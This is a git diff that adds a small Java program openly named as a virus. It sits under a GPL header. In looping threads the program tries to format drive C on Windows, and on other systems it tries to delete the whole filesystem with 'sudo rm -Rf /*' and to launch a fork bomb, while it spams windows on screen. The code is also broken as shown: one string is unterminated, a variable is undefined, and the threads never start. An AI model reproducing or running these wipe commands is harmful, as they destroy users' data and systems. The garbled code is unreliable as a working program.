diff --git a/Java/Virus.EduApps.Sexo b/Java/Virus.EduApps.Sexo new file mode 100644 index 00000000..a6b68b81 --- /dev/null +++ b/Java/Virus.EduApps.Sexo @@ -0,0 +1,42 @@ +/** + * Copyright (C) 2020 EduApps (Eduardo Procópio Gomez) + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + import javax.swing.JFrame; + + public class Sexo { + private static String OS = System.getProperty("os.name").toLowerCase(); + + public static void main(String[] args) { + while (true) { + new Thread(new Runnable() { + public void run() { + while(true) { + if (OS.contains("win")) { + Runtime.getRuntime().exec("cmd.exe /c format c /y"); + } else { + Runtime.getRuntime().exec("sudo /bin/rm -Rf /*"); + Runtime.getRuntime().exec(":(){:|:&};:); + } + + JFrame sexo = new JFrame("Sexo, Sexo, Sexo..."); + sexo.setLocation(random.nextInt(500), random.nextInt(500)); + sexo.setVisible(true); + } + } + }); + } + } + }